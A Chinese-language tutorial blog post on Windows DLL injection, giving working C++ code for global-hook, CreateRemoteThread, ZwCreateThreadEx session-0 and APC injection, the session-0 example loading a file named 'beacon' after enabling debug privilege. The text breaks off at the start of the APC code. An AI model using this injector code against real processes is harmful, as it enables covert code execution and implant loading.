Dll注入

Delina

原文链接：Dll注入
​

• 
  

最近太忙啦XDM，又在做一些列的分析复现工作量有点大，更新要慢一点了。
参考
https://xz.aliyun.com/t/10318本人C++才入门，所以代码均来源参考文章，然后按照实际情况做了修改。简介

1. 每个进程在运行过程中，都有一个和其他进程独立的相对空间，在这个空间里，进程相当于拥有所有
   
2. 权限。但是进程只能修改自己这个空间里的地址数据信息，和其他进程互相不干扰（就算相对地址
   
3. 一致，也不会覆盖其他的进程信息。）
   
4. DLL注入技术，一般来讲是向一个正在运行的进程插入/注入代码的过程。我们注入的代码以动态链
   
5. 接库（DLL）的形式存在。DLL文件在运行时将按需加载。就是类似一个程序A，强行加入了一个程序
   
6. B需要的dll，并执行了dll里面的代码。而dll有程序B拥有，所以程序B拥有对程序A的控制权限。以
   
7. 下情况可能对存在注入场景1.为目标进程添加新的“实用”功能；
   
8. 2.需要一些手段来辅助调试被注入dll的进程；
   
9. 3.为目标进程安装钩子程序(API Hook)；

复制代码

钩子简介

1. HOOK，是Windows消息处理机制的一个平台，应用程序可以在上面设置子程以监视指定窗口的某种消
   
2. 
   
3. 息，而且所监视的窗口可以是其他进程所创建的。当消息到达后，在目标窗口过程之前处理它。钩
   
4. 
   
5. 子机制允许应用程序截获并处理window消息或特定事件。
   
6. 
   
7. HOOK实际上是一个处理消息的程序段，通过系统调用，把它挂入系统。每当特定的消息发出，在没
   
8. 
   
9. 有到达目的窗口前，钩子程序就先捕获该消息，亦即钩子函数先得到控制权。这时钩子函数即可以
   
10. 
    
11. 加工处理（改变）该消息，也可以不作处理而继续传递该消息，还可以强制结束消息的传递。
    
12. 
    
13. 简单来讲，消息发生的时候，由钩子先捕捉到，进行加工处理。其中的回调函数，就是我们钩子对
    
14. 
    
15. 消息的处理函数。我们可以自定义一个钩子，监控系统中的消息。其中拦截单个进程的叫线程
    
16. 
    
17. 钩子，拦截全局的叫系统钩子。

复制代码

全局钩子注入

1. 首先要知道，在windows的应用中很多都是消息机制。消息机制就是如下机制。
   
2. 
   
3. 我们都是通过 API 函数来调用系统功能，让操作系统来帮我们完成很多工作，例如调用
   
4. 
   
5. CreateFile() 函数，操作系统会帮我们创建一个文件，而不需要我们参与任何工作，非常方便。
   
6. 事件：类似敲击键盘等操作。
   
7. 队列：存放消息（先进先出）
   
8. 消息：事件发生时发送消息。
   
9. 简单来理解：当用户敲击键盘，此时程序发出一个消息，存放在队列中，供应用程序来读取。
   
10. 事件和消息同步。有事件就会发送消息。然后应用程序去依次调用。
    
11. 这也就是消息机制。
    
12. 
    
13. windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子与全局钩子，局部钩子
    
14. 
    
15. 一般用于某个线程，而全局钩子一般通过dll文件实现相应的钩子函数。

复制代码

SetWindowsHookEx

1. 这是用来设置钩子的函数。
   
2. HHOOK WINAPI SetWindowsHookEx(
   
3.   _In_  int idHook,         // 安装的钩子类型
   
4.   _In_  HOOKPROC lpfn,      // 处理消息的回调函数
   
5.   _In_  HINSTANCE hMod,     // 当前实例句柄
   
6.   _In_  DWORD dwThreadId    // 线程ID
   
7. );
   
8. 
   
9. 来试想一下，如果钩子函数在其他进程中独有实现，在运行过程中，进程B想要去调用这个钩子函数
   
10. 
    
11. 是完全不可能的，因为他们处于不同的空间。所以调用方式应当是写在一个Dll中，当谁需要的时
    
12. 
    
13. 候，谁就去调用。当一个程序接收到了消息，此时操作系统就将全局钩子加入到这个进程中，去对
    
14. 
    
15. 消息进行处理。所以如果我们控制了钩子函数的dll，然后输入恶意代码，当有消息时，dll被加
    
16. 
    
17. 载，恶意代码执行。
    
18. WH_GETMESSAGE 钩子类型，可以监听全局消息
    
19. GetMsgProc 回调函数 在消息到达的时候对消息进行处理
    
20. UnhookWindowsHookEx 卸载钩子
    
21. SetWindowsHookEx 安装钩子

复制代码

代码实现

• 
  

1. #include "pch.h"
   
2. #include <windows.h>
   
3. #include <stdio.h>
   
4. #include<stdlib.h>
   
5. extern HMODULE g_hDllModule; //定义的外部变量
   
6. extern "C" _declspec(dllexport) int SetHook();
   
7. extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
   
8. extern "C" _declspec(dllexport) BOOL UnsetHook();
   
9. // 定义了一个可以进程共享的数据段
   
10. #pragma data_seg("mydata")
    
11. HHOOK g_hHook = NULL;
    
12. #pragma data_seg()
    
13. 
    
14. //设置定义的数据段具有读，写，共享的属性
    
15. #pragma comment(linker, "/SECTION:mydata,RWS")
    
16. 
    
17. //钩子回调函数
    
18. LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
    
19.     return ::CallNextHookEx(g_hHook, code, wParam, lParam); //将消息传递给g_hHook钩子进行处理
    
20. }
    
21. 
    
22. // 设置钩子
    
23. BOOL SetHook() {
    
24.     g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);//设置了一个windows全局消息拦截钩子
    
25.     if (NULL == g_hHook) {
    
26.         return FALSE;
    
27.     }
    
28.     return TRUE;
    
29. }
    
30. 
    
31. // 卸载钩子
    
32. BOOL UnsetHook() {
    
33.     if (g_hHook) {
    
34.         UnhookWindowsHookEx(g_hHook);//当没有设置使用钩子的时候，就卸载g_hHook钩子。
    
35.     }
    
36.     return TRUE;
    
37. }
    
38. 
    
39. //主函数
    
40. HMODULE g_hDllModule = NULL;
    
41. 
    
42. BOOL APIENTRY DllMain(HMODULE hModule,
    
43.     DWORD  ul_reason_for_call,
    
44.     LPVOID lpReserved
    
45. )
    
46. {
    
47.     switch (ul_reason_for_call)
    
48.     {
    
49.     case DLL_PROCESS_ATTACH:
    
50.     {
    
51.         g_hDllModule = hModule;
    
52.         system("calc");
    
53.         break;
    
54.     }
    
55.     case DLL_THREAD_ATTACH:
    
56.     case DLL_THREAD_DETACH:
    
57.     case DLL_PROCESS_DETACH:
    
58.         break;
    
59.     }
    
60.     return TRUE;
    
61. }
    
62. //稍微说一下逻辑，做了一个钩子的安装，实现回调函数，然后卸载功能，当dll加载的时候，就生成一个句柄来获取当前dll句柄。
    
63. 
    
64. #include<stdio.h>
    
65. #include<stdlib.h>
    
66. #include<windows.h>  // 必须包含 windows.h
    
67. int main()
    
68. {
    
69.     typedef BOOL(*typedef_SetGlobalHook)(); //定义一个符号typedef_SetGlobalHook是一个函数指针，函数返回值为BOOL类型。
    
70.     typedef BOOL(*typedef_UnsetGlobalHook)();//定义一个符号typedef_UnsetGlobalHook是一个函数指针，函数返回值为BOOL类型。
    
71.     HMODULE hDll = NULL; //定义一个模块句柄
    
72.     typedef_SetGlobalHook SetGlobalHook = NULL;
    
73.     typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
    
74.     BOOL bRet = FALSE;
    
75. 
    
76.     do
    
77.     {
    
78.         hDll = ::LoadLibraryW(TEXT("DLL2.dll")); //加载Dll2.dll
    
79.         if (NULL == hDll)
    
80.         {
    
81.             printf("LoadLibrary Error[%d]\n", ::GetLastError());//加载失败的话，返回加载失败的错误数值
    
82.             break;
    
83.         }
    
84. 
    
85.         SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");//获取Dll中的SetHook函数
    
86.         if (NULL == SetGlobalHook)
    
87.         {
    
88.             printf("GetProcAddress Error[%d]\n", ::GetLastError());//获取失败的话，返回错误的数值
    
89.             break;
    
90.         }
    
91. 
    
92.         bRet = SetGlobalHook();
    
93.         if (bRet)
    
94.         {
    
95.             printf("SetGlobalHook OK.\n");
    
96.         }
    
97.         else
    
98.         {
    
99.             printf("SetGlobalHook ERROR.\n");
    
100.         }
     
101. 
     
102.         system("pause");
     
103. 
     
104.         UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");//获取UnsetHook函数
     
105.         if (NULL == UnsetGlobalHook)
     
106.         {
     
107.             printf("GetProcAddress Error[%d]\n", ::GetLastError());
     
108.             break;
     
109.         }
     
110.         UnsetGlobalHook();
     
111.         printf("UnsetGlobalHook OK.\n");
     
112. 
     
113.     } while (FALSE);
     
114. 
     
115.     system("pause");
     
116.     return 0;
     
117. }
     
118. //代码可以直接用之前的代码注入实现（有点类似劫持了），这里我们做的hook，就借用茶寂messi996师傅的代码实现吧，才做C++自己写有点费时间。但是每一句代码肯定还是要理解清楚的。

复制代码

​

​

后续再多研究看看，这种注入感觉很类似劫持。远程线程注入指一个进程在另一个进程中创建线程。​​

1. CreateRemoteThread
   
2. HANDLE CreateRemoteThread(
   
3.   HANDLE                 hProcess,
   
4.   LPSECURITY_ATTRIBUTES  lpThreadAttributes,
   
5.   SIZE_T                 dwStackSize,
   
6.   LPTHREAD_START_ROUTINE lpStartAddress,
   
7.   LPVOID                 lpParameter,
   
8.   DWORD                  dwCreationFlags,
   
9.   LPDWORD                lpThreadId
   
10. );
    
11. VirtualAllocEx
    
12. 指定进程的虚拟空间保留或提交内存区域
    
13. LPVOID VirtualAllocEx(
    
14.   HANDLE hProcess,
    
15.   LPVOID lpAddress,
    
16.   SIZE_T dwSize,
    
17.   DWORD  flAllocationType,
    
18.   DWORD  flProtect
    
19. );
    
20. WriteProcessMemory
    
21. 此函数能写入某一进程的内存区域（直接写入会出Access Violation错误），故需此函数入口区必须可以访问，否则操作将失败。
    
22. BOOL WriteProcessMemory(
    
23.   HANDLE  hProcess,         //进程句柄
    
24.   LPVOID  lpBaseAddress,    //写入的内存首地址
    
25.   LPCVOID lpBuffer,         //要写数据的指针
    
26.   SIZE_T  nSize,            //x
    
27.   SIZE_T  *lpNumberOfBytesWritten
    
28. );

复制代码

实现原理

1. 使用CreateRemoteThread这个API，首先使用CreateToolhelp32Snapshot拍摄快照获取pid，然后使
   
2. 
   
3. 用Openprocess打开进程，使用VirtualAllocEx远程申请空间，使用WriteProcessMemory写入数据，
   
4. 
   
5. 再用GetProcAddress获取LoadLibraryW的地址。在注入进程中创建线程(CreateRemoteThread)。关
   
6. 
   
7. 于系统dll，简单来理解就是每次windows启动的时候，可能dll的基址会发生变化，但是启动以后就
   
8. 
   
9. 不会改变了，固定了。所以要调用这些系统dll的进程只需要访问同一个基址（系统dll的基址就行
   
10. 
    
11. 了。）

复制代码

代码
（1）主注入程序

1. #include <iostream>
   
2. #include <windows.h>
   
3. #include <TlHelp32.h>
   
4. #include "tchar.h"
   
5. char string_inject[] = "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\dll";
   
6. 
   
7. //通过进程快照获取PID
   
8. DWORD _GetProcessPID(LPCTSTR lpProcessName) //定义了一个类似数组的LPCTSTR类型
   
9. {
   
10.     DWORD Ret = 0;
    
11.     PROCESSENTRY32 p32; //用来存放快照进程的结构体。
    
12. 
    
13.     HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //定义了一个句柄，其中CreateToolhelp32Snapshot()代表获取了系统快照，类型为TH32CS_SNAPPROCESS，代表获取了系统所有进程。
    
14. 
    
15.     if (lpSnapshot == INVALID_HANDLE_VALUE)
    
16.     {
    
17.         printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
    
18.         return Ret;
    
19.     }
    
20. 
    
21.     p32.dwSize = sizeof(PROCESSENTRY32);
    
22.     ::Process32First(lpSnapshot, &p32);//进程获取函数，参数1位快照句柄，参数2位需要放置的结构体
    
23. 
    
24.     do {
    
25.         if (!lstrcmp(p32.szExeFile, lpProcessName))//通过循环遍历所有进程id，进行判断进程可执行文件名和传入的进程名，如果相同，就获取他的进程id
    
26.         {
    
27.             Ret = p32.th32ProcessID;
    
28.             break;
    
29.         }
    
30.     } while (::Process32Next(lpSnapshot, &p32));
    
31. 
    
32.     ::CloseHandle(lpSnapshot);//关闭一个快照
    
33.     return Ret;//返回进程id
    
34. }
    
35. 
    
36. 
    
37. //打开一个进程并为其创建一个线程
    
38. DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
    
39. {
    
40.     //打开进程
    
41.     HANDLE hprocess;
    
42.     HANDLE hThread;
    
43.     DWORD _Size = 0;
    
44.     BOOL Write = 0;
    
45.     LPVOID pAllocMemory = NULL;
    
46.     DWORD DllAddr = 0;
    
47.     FARPROC pThread;
    
48. 
    
49.     hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);  //打开一个进程并获取他的所有权限
    
50.     //Size = sizeof(string_inject);
    
51.     _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);//_tcslen 求长度 这里应该是需要申请的内存空间大小
    
52. 
    
53.     //远程申请空间
    
54.     pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE); //申请内存空间
    
55. 
    
56.     if (pAllocMemory == NULL)
    
57.     {
    
58.         printf("VirtualAllocEx - Error!");
    
59.         return FALSE;
    
60.     }
    
61. 
    
62.     // 写入内存
    
63.     Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL); //写入内存中去，Dllname是要写的数据的指针
    
64. 
    
65.     if (Write == FALSE)
    
66.     {
    
67.         printf("WriteProcessMemory - Error!");
    
68.         return FALSE;
    
69.     }
    
70. 
    
71. 
    
72.     //获取LoadLibrary的地址
    
73.     pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//获取DLL的输出函数的地址，这里能发现LoadLibraryW在kernel32.dll这个系统dll中。
    
74.     LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
    
75. 
    
76.     //在另一个进程中创建线程
    
77.     hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);//在我们传入的进程中创建线程
    
78. 
    
79.     if (hThread == NULL)
    
80.     {
    
81.         printf("CreateRemoteThread - Error!");
    
82.         return FALSE;
    
83.     }
    
84. 
    
85.     //等待线程函数结束，获得退出码
    
86.     WaitForSingleObject(hThread, -1);//检测线程的对象状态
    
87.     GetExitCodeThread(hThread, &DllAddr);//获取退出码
    
88. 
    
89.     //释放DLL空间
    
90.     VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
    
91. 
    
92.     //关闭线程句柄
    
93.     ::CloseHandle(hprocess);
    
94.     return TRUE;
    
95. }
    
96. int main()
    
97. {
    
98.     DWORD PID = _GetProcessPID(L"test.exe");
    
99.     _RemoteThreadInject(PID, L"C:\\Users\\e0mlja\\Desktop\\DLL\\Dll2\\Debug\\dll");
    
100. }

复制代码

（2）被注入程序（默认生成未改动）

1. // test.cpp : 定义应用程序的入口点。
   
2. //
   
3. 
   
4. #include "framework.h"
   
5. #include "test.h"
   
6. 
   
7. #define MAX_LOADSTRING 100
   
8. 
   
9. // 全局变量:
   
10. HINSTANCE hInst;                                // 当前实例
    
11. WCHAR szTitle[MAX_LOADSTRING];                  // 标题栏文本
    
12. WCHAR szWindowClass[MAX_LOADSTRING];            // 主窗口类名
    
13. 
    
14. // 此代码模块中包含的函数的前向声明:
    
15. ATOM                MyRegisterClass(HINSTANCE hInstance);
    
16. BOOL                InitInstance(HINSTANCE, int);
    
17. LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
    
18. INT_PTR CALLBACK    About(HWND, UINT, WPARAM, LPARAM);
    
19. 
    
20. int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
    
21.                      _In_opt_ HINSTANCE hPrevInstance,
    
22.                      _In_ LPWSTR    lpCmdLine,
    
23.                      _In_ int       nCmdShow)
    
24. {
    
25.     UNREFERENCED_PARAMETER(hPrevInstance);
    
26.     UNREFERENCED_PARAMETER(lpCmdLine);
    
27. 
    
28.     // TODO: 在此处放置代码。
    
29. 
    
30.     // 初始化全局字符串
    
31.     LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
    
32.     LoadStringW(hInstance, IDC_TEST, szWindowClass, MAX_LOADSTRING);
    
33.     MyRegisterClass(hInstance);
    
34. 
    
35.     // 执行应用程序初始化:
    
36.     if (!InitInstance (hInstance, nCmdShow))
    
37.     {
    
38.         return FALSE;
    
39.     }
    
40. 
    
41.     HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_TEST));
    
42. 
    
43.     MSG msg;
    
44. 
    
45.     // 主消息循环:
    
46.     while (GetMessage(&msg, nullptr, 0, 0))
    
47.     {
    
48.         if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
    
49.         {
    
50.             TranslateMessage(&msg);
    
51.             DispatchMessage(&msg);
    
52.         }
    
53.     }
    
54. 
    
55.     return (int) msg.wParam;
    
56. }
    
57. 
    
58. 
    
59. 
    
60. //
    
61. //  函数: MyRegisterClass()
    
62. //
    
63. //  目标: 注册窗口类。
    
64. //
    
65. ATOM MyRegisterClass(HINSTANCE hInstance)
    
66. {
    
67.     WNDCLASSEXW wcex;
    
68. 
    
69.     wcex.cbSize = sizeof(WNDCLASSEX);
    
70. 
    
71.     wcex.style          = CS_HREDRAW | CS_VREDRAW;
    
72.     wcex.lpfnWndProc    = WndProc;
    
73.     wcex.cbClsExtra     = 0;
    
74.     wcex.cbWndExtra     = 0;
    
75.     wcex.hInstance      = hInstance;
    
76.     wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_TEST));
    
77.     wcex.hCursor        = LoadCursor(nullptr, IDC_ARROW);
    
78.     wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    
79.     wcex.lpszMenuName   = MAKEINTRESOURCEW(IDC_TEST);
    
80.     wcex.lpszClassName  = szWindowClass;
    
81.     wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
    
82. 
    
83.     return RegisterClassExW(&wcex);
    
84. }
    
85. 
    
86. //
    
87. //   函数: InitInstance(HINSTANCE, int)
    
88. //
    
89. //   目标: 保存实例句柄并创建主窗口
    
90. //
    
91. //   注释:
    
92. //
    
93. //        在此函数中，我们在全局变量中保存实例句柄并
    
94. //        创建和显示主程序窗口。
    
95. //
    
96. BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
    
97. {
    
98.    hInst = hInstance; // 将实例句柄存储在全局变量中
    
99. 
    
100.    HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
     
101.       CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);
     
102. 
     
103.    if (!hWnd)
     
104.    {
     
105.       return FALSE;
     
106.    }
     
107. 
     
108.    ShowWindow(hWnd, nCmdShow);
     
109.    UpdateWindow(hWnd);
     
110. 
     
111.    return TRUE;
     
112. }
     
113. 
     
114. //
     
115. //  函数: WndProc(HWND, UINT, WPARAM, LPARAM)
     
116. //
     
117. //  目标: 处理主窗口的消息。
     
118. //
     
119. //  WM_COMMAND  - 处理应用程序菜单
     
120. //  WM_PAINT    - 绘制主窗口
     
121. //  WM_DESTROY  - 发送退出消息并返回
     
122. //
     
123. //
     
124. LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
     
125. {
     
126.     switch (message)
     
127.     {
     
128.     case WM_COMMAND:
     
129.         {
     
130.             int wmId = LOWORD(wParam);
     
131.             // 分析菜单选择:
     
132.             switch (wmId)
     
133.             {
     
134.             case IDM_ABOUT:
     
135.                 DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
     
136.                 break;
     
137.             case IDM_EXIT:
     
138.                 DestroyWindow(hWnd);
     
139.                 break;
     
140.             default:
     
141.                 return DefWindowProc(hWnd, message, wParam, lParam);
     
142.             }
     
143.         }
     
144.         break;
     
145.     case WM_PAINT:
     
146.         {
     
147.             PAINTSTRUCT ps;
     
148.             HDC hdc = BeginPaint(hWnd, &ps);
     
149.             // TODO: 在此处添加使用 hdc 的任何绘图代码...
     
150.             EndPaint(hWnd, &ps);
     
151.         }
     
152.         break;
     
153.     case WM_DESTROY:
     
154.         PostQuitMessage(0);
     
155.         break;
     
156.     default:
     
157.         return DefWindowProc(hWnd, message, wParam, lParam);
     
158.     }
     
159.     return 0;
     
160. }
     
161. 
     
162. // “关于”框的消息处理程序。
     
163. INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
     
164. {
     
165.     UNREFERENCED_PARAMETER(lParam);
     
166.     switch (message)
     
167.     {
     
168.     case WM_INITDIALOG:
     
169.         return (INT_PTR)TRUE;
     
170. 
     
171.     case WM_COMMAND:
     
172.         if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
     
173.         {
     
174.             EndDialog(hDlg, LOWORD(wParam));
     
175.             return (INT_PTR)TRUE;
     
176.         }
     
177.         break;
     
178.     }
     
179.     return (INT_PTR)FALSE;
     
180. }

复制代码

能够看到，在test.exe中注入了我们的恶意程序。

​

突破session 0的远程线程注入

1. Intel的CPU将特权级别分为4个级别：RING0,RING1,RING2,RING3。Windows只使用其中的两个级别
   
2. 
   
3. RING0和RING3，RING0只给操作系统用，RING3谁都能用。如果普通应用程序企图执行RING0指令，
   
4. 
   
5. 则Windows会显示“非法指令”错误信息。
   
6. 简单来说 ring3是用户层，ring0的防护最高级。属于到内核中去了。注入也是注入到内核中
   
7. ZwCreateThreadEx  也是创建线程，但是比CreateRemoteThread更底层，可以注入到内核层
   
8. OpenProcessToken 打开与进程相关的访问令牌
   
9. LookupPrivilegeValueA 查看系统权限的特权值
   
10. AdjustTokenPrivileges 判断进程的权限
    
11. //后面三个函数主要用来提权

复制代码

代码

• 
  

1. // session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
   
2. //
   
3. 
   
4. #include <Windows.h>
   
5. #include <stdio.h>
   
6. #include <iostream>
   
7. 
   
8. void ShowError(const char* pszText)
   
9. {
   
10.     char szError[MAX_PATH] = { 0 };
    
11.     ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
    
12.     ::MessageBox(NULL, szError, "ERROR", MB_OK);
    
13. }
    
14. 
    
15. // 提权函数
    
16. BOOL EnableDebugPrivilege()
    
17. {
    
18.     HANDLE hToken;
    
19.     BOOL fOk = FALSE;
    
20.     if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    
21.     {
    
22.         TOKEN_PRIVILEGES tp;
    
23.         tp.PrivilegeCount = 1;
    
24.         LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
    
25. 
    
26.         tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
27.         AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    
28. 
    
29.         fOk = (GetLastError() == ERROR_SUCCESS);
    
30.         CloseHandle(hToken);
    
31.     }
    
32.     return fOk;
    
33. 
    
34. }
    
35. 
    
36. 
    
37. // 使用 ZwCreateThreadEx 实现远线程注入
    
38. BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName)
    
39. {
    
40.     HANDLE hProcess = NULL;
    
41.     SIZE_T dwSize = 0;
    
42.     LPVOID pDllAddr = NULL;
    
43.     FARPROC pFuncProcAddr = NULL;
    
44.     HANDLE hRemoteThread = NULL;
    
45.     DWORD dwStatus = 0;
    
46. 
    
47.     EnableDebugPrivilege();
    
48. 
    
49.     // 打开注入进程，获取进程句柄
    
50.     hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    
51. 
    
52.     if (hProcess == NULL)
    
53.     {
    
54.         printf("OpenProcess - Error!\n\n");
    
55.         return -1;
    
56.     }
    
57.     // 在注入的进程申请内存地址
    
58. 
    
59.     dwSize = ::lstrlen(pszDllFileName) + 1;
    
60.     pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    
61. 
    
62.     if (NULL == pDllAddr)
    
63.     {
    
64.         ShowError("VirtualAllocEx - Error!\n\n");
    
65.         return FALSE;
    
66.     }
    
67.     //写入内存地址
    
68. 
    
69.     if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
    
70.     {
    
71.         ShowError("WriteProcessMemory - Error!\n\n");
    
72.         return FALSE;
    
73.     }
    
74.     //加载ntdll
    
75.     HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
    
76. 
    
77.     if (NULL == hNtdllDll)
    
78.     {
    
79.         ShowError("LoadLirbary");
    
80.         return FALSE;
    
81.     }
    
82.     // 获取LoadLibraryA函数地址
    
83.     pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
    
84. 
    
85.     if (NULL == pFuncProcAddr)
    
86.     {
    
87.         ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
    
88.         return FALSE;
    
89.     }
    
90. 
    
91. #ifdef _WIN64
    
92.     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    
93.         PHANDLE ThreadHandle,
    
94.         ACCESS_MASK DesiredAccess,
    
95.         LPVOID ObjectAttributes,
    
96.         HANDLE ProcessHandle,
    
97.         LPTHREAD_START_ROUTINE lpStartAddress,
    
98.         LPVOID lpParameter,
    
99.         ULONG CreateThreadFlags,
    
100.         SIZE_T ZeroBits,
     
101.         SIZE_T StackSize,
     
102.         SIZE_T MaximumStackSize,
     
103.         LPVOID pUnkown);
     
104. #else
     
105.     typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
     
106.         PHANDLE ThreadHandle,
     
107.         ACCESS_MASK DesiredAccess,
     
108.         LPVOID ObjectAttributes,
     
109.         HANDLE ProcessHandle,
     
110.         LPTHREAD_START_ROUTINE lpStartAddress,
     
111.         LPVOID lpParameter,
     
112.         BOOL CreateSuspended,
     
113.         DWORD dwStackSize,
     
114.         DWORD dw1,
     
115.         DWORD dw2,
     
116.         LPVOID pUnkown);
     
117. #endif
     
118. 
     
119.     //获取ZwCreateThreadEx函数地址
     
120.     typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
     
121. 
     
122.     if (NULL == ZwCreateThreadEx)
     
123.     {
     
124.         ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
     
125.         return FALSE;
     
126.     }
     
127.     // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
     
128.     dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
     
129.     if (NULL == ZwCreateThreadEx)
     
130.     {
     
131.         ShowError("ZwCreateThreadEx - Error!\n\n");
     
132.         return FALSE;
     
133.     }
     
134.     // 关闭句柄
     
135.     ::CloseHandle(hProcess);
     
136.     ::FreeLibrary(hNtdllDll);
     
137. 
     
138.     return TRUE;
     
139. }
     
140. 
     
141. int main(int argc, char* argv[])
     
142. {
     
143. #ifdef _WIN64
     
144.     BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
     
145. #else
     
146.     BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
     
147. #endif
     
148.     if (FALSE == bRet)
     
149.     {
     
150.         printf("Inject Dll Error!\n\n");
     
151.     }
     
152.     printf("Inject Dll OK!\n\n");
     
153.     return 0;
     
154. }

复制代码

​

APC注入

1. APC，全称为Asynchronous Procedure Call，即异步过程调用，是指函数在特定线程中被异步执行，在操作系统中，APC是一种并发机制。
   
2. QueueUserApc 添加制定的异步函数调用(回调函数)到执行的线程的APC队列中
   
3. APCproc 回调函数
   
4. 
   
5. 往线程APC队列添加APC，系统会产生一个软中断。在线程下一次被调度的时候，就会执行APC函数，
   
6. 
   
7. APC有两种形式，由系统产生的APC称为内核模式APC，由应用程序产生的APC被称为用户模式APC。

复制代码

原理

1. 在 Windows系统中,每个线程都会维护一个线程 APC队列，通过QucueUserAPC把一个APC 函数添加到
   
2. 
   
3. 指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC
   
4. 
   
5. 函数。Windows系统会发出一个软中断去执行这些APC 函数，对于用户模式下的APC 队列,当线程处
   
6. 
   
7. 在可警告状态时才会执行这些APC 函数。一个线程在内部使用SignalObjectAndWait 、 SleepEx、
   
8. 
   
9. WaitForSingleObjectEx、WaitForMultipleObjectsEx等函数把自己挂起时就是进入可警告状态,此
   
10. 
    
11. 时便会执行APC队列函数。
    
12. 简单来说，每个线程都有一个APC队列，里面放了一些APC函数。一定情况下这些APC函数会被执行。
    
13. 
    
14. 1）当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时，系统就会产生一个软中
    
15. 
    
16. 断（或者是Messagebox弹窗的时候不点OK的时候也能注入）。
    
17. 2）当线程再次被唤醒时，此线程会首先执行APC队列中的被注册的函数。
    
18. 
    
19. 3）利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针，如果我们插入
    
20. 
    
21. 的是Loadlibrary()执行函数的话，就能达到注入DLL的目的。
    
22. 
    
23. 条件
    
24. 1.必须是多线程环境下
    
25. 2.注入的程序必须会调用那些同步对象

复制代码

代码

1. // session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
   
2. //
   
3. 
   
4. #include <Windows.h>
   
5. #include <stdio.h>
   
6. #include <iostream>
   
7. 
   
8. void ShowError(const char* pszText)
   
9. {
   
10.     char szError[MAX_PATH] = { 0 };
    
11.     ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
    
12.     ::MessageBox(NULL, szError, "ERROR", MB_OK);
    
13. }
    
14. 
    
15. // 提权函数
    
